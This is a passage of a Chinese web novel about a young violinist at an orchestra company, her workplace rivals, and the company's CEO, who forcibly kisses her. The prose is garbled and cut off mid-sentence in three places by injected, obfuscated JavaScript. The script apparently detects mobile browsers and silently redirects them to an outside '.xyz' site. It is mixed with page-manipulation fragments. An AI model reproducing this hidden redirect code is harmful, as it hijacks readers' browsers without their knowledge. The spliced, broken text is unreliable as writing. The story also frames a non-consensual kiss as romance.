三年多不见,她到底还是不同了。 以往每回都被他整的面红耳赤性急挠人的丫头是真长大了。 三年零五个月,这么长的时间没见,她居然也不知道和他寒暄问候几句。 果真是个心肠冷硬的丫头啊…… ### 晨珀还在回公寓的出租车上,就给唐羽琦去了电话。 “那事你告诉你哥了?” “呃……”好友来电,唐羽琦原本是要甜言蜜语温存一番的,不过她劈头就问这事,让她有点尴尬,“其实也不算全说,只是他问起你休学的原因,所以……” 晨珀扶额:“他到底知道多少?” “隐约知道你是为了个男人……”唐羽琦心里发虚,也怪不得晨珀问罪,休学这事的理由她在她爸妈面前说的不是这个。要让他们知道晨珀为了男人休学,恐怕就不是她乖乖在声世待一两年就能解决的。 晨珀在电话那头沉默了会,又问:“你哥什么时候知道这件事的?” “也没有太久,一个月前。他还拿江枫的事威胁我,让我不许告诉你他已经知道了,你知道我爸妈反对我和江枫也不是一天两天了……小珀,你骂我吧,是我重色轻友!” 唐羽琦歉意连连,晨珀听完心里却松了几分。 唐晗一个月前就已经知道,如果他要说,早就告诉她爸妈了,既然还没说,那就是还想借着这件事拿捏她。那份合同,如果他真不愿意改成两年,她恐怕暂时还得先签了。 她的初步计划是,先照老爸的命令待在声世,达成他的要求;再找机会和爸妈坦白从宽;最后找个理由和声世解约。老爸虽然对她严格,但家里还有个宠她的老妈,这次说到底是休学的事惹怒他了,才会勒令她必须进声世。 毕竟这是他早就替她规划好的未来之路,现在不过是提前进行。 晨珀想到这里,也不再紧张,听唐羽琦还在那头态度良好的自我责怪,便朝她低低笑了声:“行了,别顺毛了,我又不是猫。”唐羽琦每回重色轻友完了都来这套,反反复复都那几句台词,她都能背了。 唐羽琦自然也知道她不会真和自己生气。 晨珀这人,初见面的人都会被她恬静淡雅的娃娃脸所骗,自动将她归为性子温柔,乖巧懂事的那类,以为软纯白的很好糊弄。 等到在她面前碰了壁,明白过来这不是个善桩,又会反过来对她产生怨怼。其实只要一开始不先入为主或是抱着别样心思,自然就不会产生落差感。 虽然她平时待人有点慢热,会显得高冷,可那只是个性使然,只要不是什么天塌下来的大事,晨珀一般都懒得和人生气。 晨珀租下的公寓在老城区和新城区的交界处,严格来说还属于老城区,离市中心有段距离,但也不算太远。 房子位于一栋旧式洋房的顶层,楼一共五层,有些年头了,但内里装修却很新,显然被人重新设计改造过,米白色墙砖加深灰色地板。她住的是五层加阁楼,进门处是便是一个地陷式的L型厨房加餐厅,洗手间在右手侧。 朝南顺着几步台阶而上是个带窗客厅,楼梯在右侧,上去便是敞开式卧房,这半层是隔出来的,只有楼下一半面积,床头朝南,左侧依旧是楼梯,楼梯比床头前的围栏高不了多少,上面是落地玻璃门和四扇落地窗,通向外面一个十几平米的露台。 房子的面积算上露台也不过七八十平米,但胜在装修风格简约时尚,色调清爽,厨卫也几乎都是崭新的,又明亮通透,天气晴好的时候,阳光从露台的落地窗铺洒进来,满床都是温暖的光晕。 看房的时候,她一眼便喜欢上了这里。 临睡之前,晨珀收到短信。 ——合约的时间我吩咐人改成了一年,明天上午十点过来签约吧。 晨珀回了句谢谢过去。 电话那一端,唐晗的视线从手机屏幕上移开,投向落地窗外的无边夜色和闪烁霓虹。 ### 晨珀看着手里的乐团工作时间表,一时间有点重返校园的感觉。 个人练习、集训练习、演出活动……每周除了周六和周日白天之外,时间基本排满。不过就算是这两天,也随时有可能因为晚上的演出活动而增加彩排练习。 也怪不得新人的薪酬就有这样的待遇,的确是人尽其用。 当然对其他乐团成员来说,忙碌才是好事,忙就代表演出多。声世除了底薪之外,演出酬劳另算,依个人在乐团演出时的不同位置而论。 以专业性来说,这次招聘的晨珀等四人,在乐团里也属于中上水平。只是四个人里除了露易丝,都没有过和大型乐团演奏的经验——起码在他们递交的履历表上来看并没有。 所以起初两周,晨珀暂时没有演出,每天只需要按时进行练习和集训。 随同乐团工作时间表一起发下来的还有七份乐曲,分别是《梁祝》,克莱斯勒的《小行板(马提尼风格)》、萨拉萨蒂的《巴斯克随想曲》,以及莫扎特的《g小调第四十号交响曲》(第一乐章至第四乐章)。 晨珀这两周的任务就是练熟属于她的部分,并在两周后正式加入乐队彩排。 声世的交响乐演出一般都以欧洲古典乐为主,当然偶尔也会演奏一些国内名曲,例如《茉莉花》、《二泉映月》等。 据闻以前声世演奏国内名曲的比例要占大部分,走的事是接地气路线。在唐晗接手之后,便逐渐将重心转移,且诸多涉猎流现代乐,在传统古典乐里融入了现代流行乐因素,开辟出了独树一帜的演奏方式。 在数次拿下国内的演奏奖项后,声世旗下数位特别优秀的器乐演奏者也在声世管理人明星式包装下走上国际道路,成为颇有名气的音乐演奏家。 “唐总说过,时代不同了,观众对西方古典乐的兴趣日益增加。而且交响乐毕竟是外国人的东西,气场和国内名曲总是不太合。要让乐团与国际接轨,改革是第一步,与其为了国内观众演奏接地气的曲子,不如直面西方古典乐,想办法让观众接受。” 集训练习休息时,文蕊总喜欢凑在晨珀身边说话,当然一般都是她自己说,对方纯粹听。 严格来说晨珀和她并不熟,但比起一同集训的其他人,文蕊还是比较喜欢找她说话。 其实文蕊也试过和其他人聊天,但不知道是因为其他人早已自成体系她融入不了,还是其他什么原因,只要她凑过去说几句话,他们看她的时候眼里总带着几分不屑和戏谑。 晨珀虽然也冷淡,但她却不会用那种眼神看她,和她说话让文蕊觉得很自在,她可以随心说自己有兴趣的话题。 文蕊开口,十之八九和唐晗有关。 晨珀进乐团近两周,发现唐晗两字在耳旁出现的频率居然比之前七八年加起来都多。 这样的情况,一直持续到某人怒闯集训练习室。 那女孩很年轻,最多不过二十出头,留一头直长的黑发,五官明丽张扬,一双丹凤眼,颧骨略高,显得有些高傲。她来势汹汹,眼底带着怒意,神情却很冷淡,视线缓缓扫过室内众人,开口问道:“谁是文蕊?” 室内,有压低的诧异对话。 “是艾丽?” “电音天后怎么来乐队这边了?” “嘘,冲新人来的……” …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780685|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >室内,除了晨珀、文蕊以及钟文这三只新鸟,其他人显然都认识来者。 文蕊咬了咬下唇,缓缓站起:“你好,我是文蕊,请问找我有什么事?”她原本就不是漂亮的女生,身材也偏胖,加上也不太会打扮,又留着波波头,站在一群人里显得愈发不起眼。 田艾丽看了她一眼,随即露出一种难以置信的嫌恶眼神,就像是吃完饭才发现自己不小心吞了只苍蝇。 涂着枣红色唇膏的嘴唇冷冷一勾,她踩着高跟长筒靴直直走了过来,将手里捏着的一个淡蓝色饭盒丢给文蕊:“你有完没完?!别再送了,没人会吃!” 饭盒虽然盖紧了,但因为是被丢过去的,里面的汤汁溢了些出来,不但弄脏了文蕊的衣服,也溅了几滴到一旁的晨珀身上。 晨珀回国后的工作都在晚上,白天日子过的散漫,习惯晚睡晚起,忽然开始要朝九晚五的上班,周末还得加班,每天都睡不醒。一睡不醒,她心情就不太爽,原本趁着休息时间坐在地板上靠着椅子打算睡一会,结果才刚刚闭眼,就被打扰了。 她瞥了眼白色毛衣上的点点汤汁,视线冷淡的看向来人。对方气势正烈,完全没注意被殃及的旁人。 “看你殷勤的频率我还以为是什么天生丽质的美女,最起码也得在清秀线以上,真没想到你这副尊容也敢妄想!你是不是从来不照镜子?” 这话太难听了,甚至带着恶毒,众人又是一阵低语,猜测文蕊可能的反应。 她虽然是新人,但集训这些日子大家也看得出她水平不低,以后说不准也会成为乐队里的重点人物,虽然长得不好,性格也古怪,但交响乐队演出从来都不用看脸,这和个人演出不一样。 将来,文蕊在声世的发展未必会在田艾丽之下,也就是说,面对这样的羞辱,文蕊不必因为自己是新人而忍耐。 可奇怪的是,文蕊听到这话竟然没有生气,反而有些唯唯诺诺的看着手里的饭盒:“是他亲口说不喜欢我送东西吗?如果他自己和我说,那我以后就不送了,但如果——”她说到这里,突然抬头注视对方,表情执拗而认真,“这只是你的意思,那以后送不送东西是我的事,你无权管!” 田艾丽气得冷笑:“你还真是有意思!唐总这样的高层,会和你这种小新人纠缠这种问题吗?你以为送这些东西他就会注意你,喜欢你?” 她这次话里透露的信息,令众人哗然。 文蕊居然追求唐总!?还因此把一向在声世里和唐总有金童玉女称谓的田艾丽给惹炸毛了!? 这——众人不由自主看向外形酷似胖男生的文蕊,这人到底是真的没有自知之明,还是自身勇气大到惊人? 文蕊握紧拳头,全身都在发抖:“我是喜欢他,但我没想要他喜欢我,我只是想给他送一些东西,因为我很感激他让进入声世,这样也不行吗!” “别找借口说感激,说到底不过就是喜欢他想引起他注意!”田艾丽冷嗤了声,“你才进声世多久,不好好练习,净动这种歪脑筋,也不想想自己什么德行,你有靠近他的资格吗?” 文蕊忍了半天的眼泪终于流了下来。 见她哭,田艾丽心里对她愈发厌恶,正准备再开口,冷不丁却看见一只手从自己腿前冒了出来。 田艾丽被吓了一跳,低头看去,这才发现文蕊旁边的地板上还坐了个黑发女孩。对方半靠着椅子,头歪倒在手臂上,动作不算太雅观,但看她的表情似乎很舒适惬意。 柔软黑发从她脸侧垂落下来,衬得一张脸愈发小巧精美。她举起的手里夹了张纸巾,递到文蕊面前晃了晃。 因为文蕊是站着的,她手只够得到文蕊腰间,晃了几下文蕊才觉察,睁着一双泪眼不解的看向她。 “别哭了,本来就不漂亮。”她张口丢话。 文蕊更伤心了,眼泪鼻涕流个不停。 “你是谁?”田艾丽打量她,总觉得她很眼熟,一时却又想不起来。 晨珀像是没听见田艾丽的话,她瞥了眼呆呆看着自己的文蕊,将纸巾塞到她手里:“擦了。” “可是……”文蕊眼泪倒是止住了,但眼底却浮起委屈。 “别闹了,你不累?”下午的集训时间是三个小时,中间只休息十五分钟,她本来还想睡一会的。 “不是我想闹,是她……” “小女孩年轻不懂事,你也不懂事么?”晨珀的声音轻软的很,语气却带上几分老成,只是她一张娃娃脸,气质又恬淡,相比成熟明艳的田艾丽,看起来反而要小上几岁。所以明明是一本正经说的话,众人听了却只觉得好笑。 笑声里,田艾丽的脸一沉,视线狠狠投扎在晨珀身上。数秒之后,后者才似有觉察,缓慢而无声的抬头回视她,然后——给了她一个明媚的浅笑。 那话没让田艾丽跳脚,这个笑容却有些惹到她了。她皱眉盯住晨珀,脸色不善。 气氛正尴尬时,负责集训的乐队副团走了进来,休息时间已过,他们得继续练习。田艾丽虽然强势,但也不会当着副团的面处理私事。 她不屑的看了眼文蕊,视线冷冷扫过晨珀,转身走了出去。 副团并不清楚具体事情,但看到文蕊衣服带着油渍,脸上又一片狼狈,便让她先去整理一下,等弄干净了再回来集训。 文蕊硬是把晨珀拉了起来陪她。 5. 暗窥 洗手间内,文蕊在镜子前抬起冲洗干净的脸,过于宽大的脸盘,毫无特色的五官,冰冷的水让她的脸色显得有些青白,平庸的五官越发难看。 她看了自己一会,又去看镜子里晨珀巴掌大的白嫩小脸。她已经处理完自己的毛衣,正把用水擦拭过的外套放在干手机下吹着,从文蕊的角度看去,她眼帘微垂,浓密修长的睫毛在挺翘的鼻子上方勾出一抹诱人弧度,美得赏心悦目。 “如果我长得像你这么漂亮就好了……”文蕊喃喃低语。 晨珀淡淡道:“漂亮有什么用,再漂亮的不喜欢就是不喜欢。”再说,比起文蕊她的长相的确称得上漂亮,可比起真正的美女,她顶多算是甜美动人。就连唐晗那张脸,都比她精致清秀的多。 “你是说内在美更重要?可如果我长得好一点,最起码别人不能用长相说事。晨珀,你是不是也觉得我异想天开,癞蛤蟆想吃天鹅肉?” 晨珀转过身来,干手机自动停下,洗手间内一时间安静无比:“不要为了个男人就无底线的贬低自己。”她来到她面前,将外套递给她,“你喜欢谁是你个人自由。” 暗恋是个人自由,但暗恋一旦变成明恋,有些事就不是个人所能控制的了。 晨珀记得田家也是声世的股东之一,刚刚那位应该是董事千金。这次的事,说到底是争风吃醋。晨珀不觉得意外,那家伙皮相好,一双总是笑意温柔的桃花眼,加上在声世身处高位,站出来气场十足,年轻女生见了都会心动。 文蕊眼睛又亮起来:“所以,你也支持我继续努力吗?” 晨珀:“……”她到底是怎么思考的? “不,我不支持你。”她的话犹如一盆冷水,朝着文蕊当头浇下。 “可是你明明说喜欢谁是个人自由!” 晨珀叹了口气,难得耐心的解释道:“虽然刚才田艾丽说的话做的事都很过分,但有一点她说对了。你才进声世,连集训都没结束,怎么就净想着这些事?喜欢可以,但因为喜欢弄得公私不分,别人怎么会没意见?” “我哪有公私不分!” 晨珀示意了下衣服上残留下来的油迹,文蕊脸一红,辩解道:“我说了只是感激唐总让我进入声世……” “他录取你是公事,你送一次叫感谢,但是天天送,就变成公私不分了,别人才会找你麻烦。” 文蕊自嘲的笑了笑:“所以你也和田艾丽一样,觉得是我不要脸,单方面纠缠唐总?我知道自己什么样子,唐总他是高层,长得那么好看,人也好,这些事我根本从来不敢想!可是——” 她拽住晨珀,突然有些激动,原本苍白的脸上透出一抹红晕,“不管你信不信,之前碰巧遇到他时,是他主动和我说话的!那天他带我去吃饭,和我聊天,最后还开车把我送回宿舍……简直就像做梦一样,我坐在他车里,和他离那么近,他的眼睛是我看过所有眼睛里最漂亮的,睫毛好长好长,我甚至能闻到他身上的香水味……” 文蕊的眼睛里闪动着憧憬、羞涩、沉迷以及自卑,复杂却又生动:“所以,哪怕只有一丝可能,我也不愿意错过!” 晨珀目色淡凉,眉宇却微微蹙起:“你会受伤——” “我不怕受伤!”她打断晨珀,平凡的脸上满是义无反顾的勇气,“从小到大,我一直都没有真正勇敢过一次!这次,我想试着努力一下!即便会被人骂,被人排斥,就算是所有人都说我不配,就算以后会万劫不复——我也不会后悔!” 晨珀叹了口气,压下了原本想说的话:“那就祝你好运吧。” ### 田艾丽闯集训室的事,副团没有深究,大多数人也都明白谨言慎行的道理。可惜当时人员众多,总有那么一两个是死了也要八卦的,所以到第二天的时候,这事还是暗地里传遍了声世。 当然,八卦出来的版本五花八门。有讥笑文蕊自不量力脑洞大开的,也有不屑田艾丽寻事新人的——毕竟她和唐总不是真的男女朋友,要管也轮不到她。 也有少数人佩服文蕊的勇气,毕竟在声世,对唐晗怦然心动的人不在少数,可他毕竟是主事人,就算少女怀春又有哪个敢三不五时的送早餐送爱心饭盒? 结束两周的练习集训后,三人开始参加乐队演出的彩排练习。 声世旗下的交响乐团成员全数加起来有一百二十多人,但因木管人数的制约,最多只能组成“三管”编制的乐队。 也因此,不是每次演出都需要成员倾囊而出,具体编排由乐队指挥以及正副团长开会讨论,定下名单,再递交上去让乐团总监过目走个流程。 眼下不是演出旺季,之前的全国巡演也已顺利结束。乐团以“双管”编制登台居多,每两周在本城或者附近城市做两场演出,曲目每两个月做半数替换,保留一些观众回应较好的曲目,再适当添加新曲目。 这期间的演出,正适合新人登台。 晨珀被编入小提琴二组,文蕊在一组,露易丝在木管乐组。露易丝之前已经跟着乐队演出过,集训虽然不用去,但彩排却是要到场的。 彩排地点在声世五楼的演播厅,彩排开始后十分钟,众人发现最前排的观众席上多了一人。原本凝神观看彩排的乐团总监侧着身体,正脸带笑容的和对方说话。后者西服笔挺,修长双腿交叠,挺直白皙的鼻梁上架着一副墨镜,额发垂落了一缕,衬得额前肤色愈发白的诱人。 唐总居然亲自下来看彩排了? 这类走流程性质的彩排每周有很多场,除非出现需要决策的事,否则他是不会过来的。 年轻的CEO就坐在台下,众人自然愈发认真,虽然不时有人会抱着八卦的心态去看文蕊的表情,但大多数时候都凝神专注于演奏。 于是这天的彩排顺利的出奇,每首曲子最多不过两遍,连素来要求极高的指挥也难得赞扬了几句。 彩排结束时,乐团总监站起来朝众人击了击掌:“唐总说了,今天有新人加入,他请客聚餐,就在旁边酒店,晚上有空的都来吧!” 众人一时有些诧异,声世以前虽然也有聚餐,但基本都是在大型音乐会成功演奏之后。不过就是三个新人,居然劳动这位请客,还真是少见。 难道真是为了文蕊?几个年轻的女孩子看着一脸激动喜色的文蕊,内心都不太平衡。早知道唐总这么好追,她们就自己上了…… 聚餐的酒店从声世步行过去只要十分钟,之前有几次聚餐地点也选在这里的自助餐厅。彩排的乐队成员有六十多人,但聚餐这事毕竟通知晚了,不少人晚上都各自有事,诸人向乐团总监告假,都被放行。最后零零总总,去聚餐的大概有三十多人,这里面也有不请自来的。 看到田艾丽的时候,文蕊才刚刚找到机会和唐晗说话,明知众目睽睽之下会被人议论,她还是鼓起勇气开了口。好不容易说了句谢谢,便见到田艾丽踩着高跟靴,风风火火从宴厅大门走了进来。 文蕊的脸色顿时难看起来,看着对方越走越近,她握紧拳头,嘴唇紧抿,做好随时“迎战”的准备。结果对方却从她身边径自走了过去。 文蕊诧异回头,发现田艾丽四下环视一圈,朝着落地玻璃前的沙发座走去。 “和我比一次怎么样?” 来人的手重重拍在桌上,晨珀的手指一松,刚剥出来的蟹腿肉擦过她的大腿落在地上。 晨珀:“……”她剥了很久才剥出来一根完整的!她眉头一皱,抬眸看向来人:“有话好好说。” “我说了,和我比一次!”田艾丽盯着面前白嫩小脸,神色肃穆。 晨珀慢条斯理的擦手指,凝着对方不说话。她这几天心情不好——应该说自她进声世后心情从来没好过,偏偏总有麻烦来找她。 “一个月以后,声世举办的器乐公开赛即将开始,我要你也参赛!”田艾丽刻意提高了音量,整个宴厅里的人原本就竖着耳朵注意这边的动静,当下都听到了这句话。 什么意思?电音天后这是在向一个新人……下战书!? 可等等,她是不是把对象搞错了?和她有私怨的人应该是文蕊啊! 晨珀漆黑的瞳仁掠过一丝笑意:“你要和我比赛?” “是!”田艾丽盯视她的目光无比认真,既然她能弄清楚她是谁,那么对方也应该知道她是谁。她们之间,势必要分出个高低来! 晨珀再次取了条蟹腿,嘴唇淡淡吐出三个字:“我拒绝。” “为什么?”田艾丽拧眉。 她瞥了眼立在不远处纹丝未动的挺拔身影,懒洋洋的丢话:“没兴趣。” “你不可能没兴趣,你——” “胃口都没了。”她终是不耐烦起来,丢了蟹腿,擦干净手,在众人窃窃私语的视线里离开。 走出酒店大门的时候晨珀手机响了起来,她看着屏幕上闪烁的两个字——唐晗,皱眉挂断。 秋夜的风带着萧瑟的冷意袭来,不知怎么的,她突然想起半年前在西雅图的那个夜晚。同样是高楼林立的都市,夜晚的天空被闪烁的霓虹灯光映成暗墨的深蓝色,让人有种陌生而遥远的抽离感。 最近,她偶尔会感觉不安,这种感觉来的莫名其妙又毫无道理。 已经过了半年多,又隔着大半个地球……她已经躲成这样了,她不相信那人可以能耐到这个地步。 应该,只是她多心了吧。 晨珀裹紧外套,转身走向远处的公交站台。 在她身后马路对面的停车位上,一辆不起眼的黑色轿车正缓缓升起车窗,驾驶座上的人低头查看相机,片刻后拨通了一个电话。 “喂?……我应该找到她了……” ### 晨珀没想到那晚后田艾丽竟缠上了自己。 比赛、比赛、还是比赛!她每次出现说的都是同一件事,简直就像是魔疯了一样。 很快,整个声世都知道电音天后不知何故又瞄上了另一个新人,且非要在专业上一决高下,这对田艾丽来说根本没有意义。 声世两年一度的器乐公开赛其实是为了挑选重点培养对象而设的,而田艾丽便是凭实力在两年前的小提琴项目上拿下了冠军,此后成为声世重点包装推出的明星小提琴家,且拉的是外界印象中炫酷狂拽帅的电子小提琴,凭着声世为其打造的一首快节奏的原创小提琴曲,很快就在国内崭露头角。 田艾丽虽然后台强硬,但自身实力并不差,走红并不全靠关系。 这样一个在业界已颇有名气的电音小提琴家找刚进声世一个月都不到的新人下战书,实在让人无法理解。 这几天文蕊有点郁闷,虽然田艾丽不再找她麻烦,可是她却开始找晨珀麻烦,而且找麻烦的方式还是她的长项。 每回看见田艾丽在声世堵到晨珀,她都会有种复杂感。一方面庆幸自己被忽略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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River》、阿南亮子的《Refrain》、Michelle Branch的《One Of These Days》、Lady Gaga的《Bad Romance》、陈奕迅的《浮夸》……二十多首,从器乐类到轻音乐,再到流行歌曲,每一首都是因为她喜欢才会拉,并且想要分享给大家。 起初,她比较懒,遇到喜欢的非小提琴版本的曲子,便全网搜其小提琴谱,最多拉的时候再做简单调整。 后来她慢慢发现,网上这些小提琴版本大多数都改的参差不齐,很多拉出来的效果不如原曲版本,为了让小提琴拉出来更好听,她便收了犯懒的心思,开始自己将钢琴谱改成小提琴谱。 再后来,简单的版本转换也满足不了她了,尤其在改一些流行音乐的时候,因为没了歌词,为了让小提琴版本听起来更丰满,她开始适当增加旋律改编节奏,并用电脑制作添加了简单的伴奏。 不顺利的状况时有发生,不过和学校里冗长沉闷又繁复的古典乐比起来,这些改编即便再难也是她心甘情愿并乐意为之的,每次完成一首曲子放上网的时候,她心里都充满了成就感。 不知道是不是人的劣根性作怪,越看不见的就越好奇,虽然她两年多来从没露过脸,也没有刻意宣传,她这个账号的订阅量却并不算少,几年下来也有十几万,偶尔单个视频点击率也会有六七十万。在她疏于打理的情况下,这是非常高的浏览量了。 订阅量和点击率增加后,她在米拉帮助下申请了网站的广告分成,一年的收入并不多,也就几千美元,不过放在国内,已经等同于实习期的工资。 这几年,即便再忙,她都坚持一个多月左右放一首新的小提琴曲上网。 因为近几首小提琴曲都是她将流行音乐直接颠覆改编的,不少人会在看完播放留言求小提琴曲谱出处,她懒得一一回答,便统一将自己改编的那些添上“本人原版改编”等字样。 唐晗打来电话时,她正看着网上增加的点击率和留言享受劳动成果,看到手机上唐晗的名字跳出来,她想也不想直接挂断。 刷新页面的时候,手机再次响起,晨珀朝嘴里塞了颗糖,又一次挂断。 片刻,手机跳出一条讯息:我在你住处楼下,要么你下来,要么我上来。 晨珀闹心的看着手机,回了条讯息过去:我睡了。 唐晗的电话紧接着追了过来,这次她接听了:“干嘛?” “我知道你还没睡,下来吧,我们去吃宵夜,这附近有家不错的海鲜烧烤。” 电话里,他声音温柔,带着诱哄。 晨珀:“……” 如果说这世上还有一件事能敌过晨珀的懒散,无疑只有美食。她挣扎了会,在睡衣外裹了件厚厚的粉色长毛衣,换了双旅游鞋就出门了。 楼下的车道上,停着一辆骚包的黑色阿斯顿马丁,车的主人靠在车门上,穿了件比车更骚包的黑白格子长款薄呢风衣,漂亮的眉宇微微拧起,秀美细致的五官在夜色里显得立体而深邃。他手臂交叠,盯着楼道口的方向,目光有些深暗。 见到粉红色的身影脚步轻快的从楼道走出,他敛起眼底的暗色,露出笑意:“真睡了?” 她含糊的嗯了两声,绕去副驾上车,见他在车外看着自己,催促道,“快上车,都快十点了,明天我还要上班呢!” “你不是请了三天假?”他上了车,不给面子的戳穿她。车子启动后,见她仍不说话,他又道:“这几天怎么都不接我电话?” “你有打给我?大概是我太忙没留意吧。”她轻描淡写的丢下话,靠着椅背闭起了眼睛。 他上挑的漂亮眼眸瞥向身旁人,她那种连敷衍都一副漫不经心的模样让他很不喜欢。他本想再开口,然而又像想到了什么,还是把话忍了下来。 6. 强吻 唐晗说的店不大,位于一条深巷里,巷子虽然干净,但很狭窄,两边都是各种夜宵饭店,车子开不进去。 唐晗远远停了车,带着她从巷子穿过去。 他身高腿长,穿的衣衫革履,人又生的唇红齿白,一路走去回头率高的惊人。他带她进的烧烤店生意很好,外间已经没了位置,一个二十多岁的年轻男人笑着迎上来。 唐晗上前和他说了几句,对方的视线投向他身后的晨珀,一瞥之后又笑着朝唐晗低语了几句。店里有些吵,晨珀上前时那人已经说完了,她只隐约听见对方说“原来是这类型的……” “你好,我是韩阙,这家小店的老板,让唐晗带你上楼吧,上面是自家用的包厢,很安静。”韩阙说这话时,那双带着笑意的眼睛有些放肆的在晨珀身上打量。 晨珀感觉到他没有恶意,扬唇朝他笑了笑。对方眼底掠过一抹惊艳,随后看向唐晗,正要说什么,唐晗已拉着晨珀直接上了楼。 上楼之后,她不着痕迹的从他手里抽回自己的手,他蹙眉看她,她已径自进了包厢。 “你怎么会来这样的店?”她在靠窗位坐下,侧头看向楼下的小巷。在她的印象里,唐晗从来不会在这样的地方吃饭。高中时,她和唐羽琦最喜欢放学后去校外的路边摊吃泡泡馄饨,有次碰巧唐晗来接唐羽琦,见状竟二话不说当场拖着唐羽琦离开。 那是她第一次见到唐晗,她至今仍记得他瞥向那晚馄饨的嫌恶目光,连带的,对她这个“带坏”他千金妹妹的同学也厌恶起来。 “这样的店怎么了?”唐晗将点好的菜单交给服务员。 “唐家少爷,可是非星级酒店不进的。”她回头看他,笑容熠熠。 “你少拿这种话来刺我。”他笑了声,本来有些不悦,但见面前女孩笑容明媚逼人,心里又生出酥软来,再开口时,语气不自觉软和下去,“你是不是有话想问我?真有事就直接说,别总话里有话。” 晨珀摇摇头,“没话。” 他压低眉宇盯着她看了片刻:“真没事要和我说?那好,你没事,我有事。”他转了转右手食指上的黑曜石戒环,正色开口,“声世的器乐公开赛是个不错的机会,我劝你参加。” 晨珀一手撑着下巴,一手拿了根筷子去戳桌上盘子里切好的水果:“她是电音,我是古典,有什么好比的?” “我现在不和你谈她,就只谈比赛。” “有没有她我都不会参赛。”声世这么大的乐团,公开赛规模不会小,在这样的比赛上以个人演奏的方式露面,对现在的她来说太冒险了。 她的拒绝干脆彻底,唐晗看着她,眉头再次蹙起:“你为什么不肯参赛?别告诉我你是因为害怕,什么时候变得这么胆小?” 晨珀冷淡的动了动唇:“关你什么事。” 他冷笑了声:“不关我事?那你爸呢,你爸的话你听不听?” 晨珀立刻起了警觉:“你和我爸说了什么?” “当然是说了比赛的事。他觉得这是个很好的机会,要我督促你认真参赛。”能在某方面拿捏着她的短处,于唐晗来说是件颇为得意的事。 “你有病啊!”晨珀一下就火了,啪的丢了筷子,“谁让你和我爸说这些的?” “你现在在我的乐队上班,我为什么不能说?”见她冲自己发火,他扬眉冷声,心里也不爽了。 “行,你是老板,那以后麻烦除了公事之外,别再私下找我!”她裹紧衣服,起身就朝外走。 正巧韩阙亲自端着烧烤走进来,见她脸色沉沉的走出去,不禁诧异:“怎么就吵上了?喂,这么晚她自己回去?这附近可没车啊!” 唐晗本来就不放心,不过是顶着气,现在听韩阙一说,取了风衣便朝外追去。他出了店,才发现她脚步很快,已经走出很长一段距离。 他也没跑,迈步跟了上去,到底还是他腿长走得快,终于在巷口路灯下拦住了她:“多大的人了,脾气还这样,说走就走的很没礼貌,人家东西都端上来了!” “你有礼貌你回去吃啊。”她懒洋洋的回了一句,说着就想绕过他走,结果比他长指一抓,牢牢的扣住了手腕。她看了眼腕上的白净手指,挣了几下没挣脱:“放了!” 他的手指纹丝不动,她叹了口气,朝他笑道:“唐晗,老实说,你看到自己身边总有女人为了你闹来闹去,是不是挺有成就感的?” 他身体一僵:“你说什么!?” “你身边已经有人为了你争风吃醋,麻烦别再硬拉上我!”趁着他分神,她挣开手腕快步离开。 然而她没走几步,便被他从后面拖拽回去。她踉跄了一下,后背抵上冰冷硬物,发现自己已经被他按在了街边的墙上。 他比她高了一头,当他低头朝她压过来的时候,一旁的路灯完全被他的身影隔离开。她眼前霎时昏暗一片,刚有点反应过来,他的唇已经压在了她的唇上。 呼吸交错,有些混乱的男性气息袭来,带着幽淡的香水味,在她唇上碾压。 “你干什么!”她用力推他,才堪堪推开些许距离,又被他大力压回去,禁锢住脸,堵上了唇。 相比强迫的力度,他的嘴唇薄软的有些过分,带着秋夜的凉意,压在她的唇上。浅浅的厮磨之后,他动作忽而加重,扣着她后颈,强迫她抬头,好让自己能更深入的吻她。 她的嘴唇很嫩很软,就像是带着樱花味的果冻,他看了那么多年,终于还是尝到了味道。 晨珀咬紧牙关,努力侧头躲开他的唇,他仍不依不饶追着她的嘴唇,混乱中,他的气息落在她脸颊和耳垂上,好在她每回都避得及时,他始终没法深入吻她。 晨珀终于脱开手,想也不想,抬手就朝他脸上用力打去。 他没有躲,伺机又堵上她的唇,重重厮磨后才抓住自己脸上的手,拽在手里捏了捏:“别闹了,小珀。比赛的事我也是为了你好,别再和我闹了,好不好?” 其实到现在他还不明白她为什么会突然去欧洲留学,但的的确确是因为她这次离开,才让他真正看清楚了自己的内心。 他是个很骄傲的人,从小生活环境优渥,他也十分清楚自己的优秀,这让他在很多方面都不肯轻易妥协。学业上事业上是这样,感情也是这样。 他一直都是讨厌她的,逗弄她,欺负她,享受她生气跳脚的模样……这种心情究竟是什么时候变的质?喜欢上一个原本不放在眼里的人,曾让骄傲的他十分抗拒。 也因此,那时他明明看见了她眼底隐隐的情愫,却又故意视而不见,宁可和其他女生暧昧,忽冷忽热的继续逗着她。 他一方面喜欢着,另一方面却不想轻易承认自己的喜欢,毕竟两个人从认识开始就彼此看不顺眼,更别提让他拉下面子去示好。 他甚至一度觉得喜欢上谁是件很容易的事,他这么年轻优秀,喜欢他的女孩太多了,不过一个晨珀而已,不值得他低头。 直到后来,她远行,一走三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780687|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年多,他才慢慢明白,喜欢上一个人的确是很容易的事,但要等那样一个人出现却太难太难。 闹? 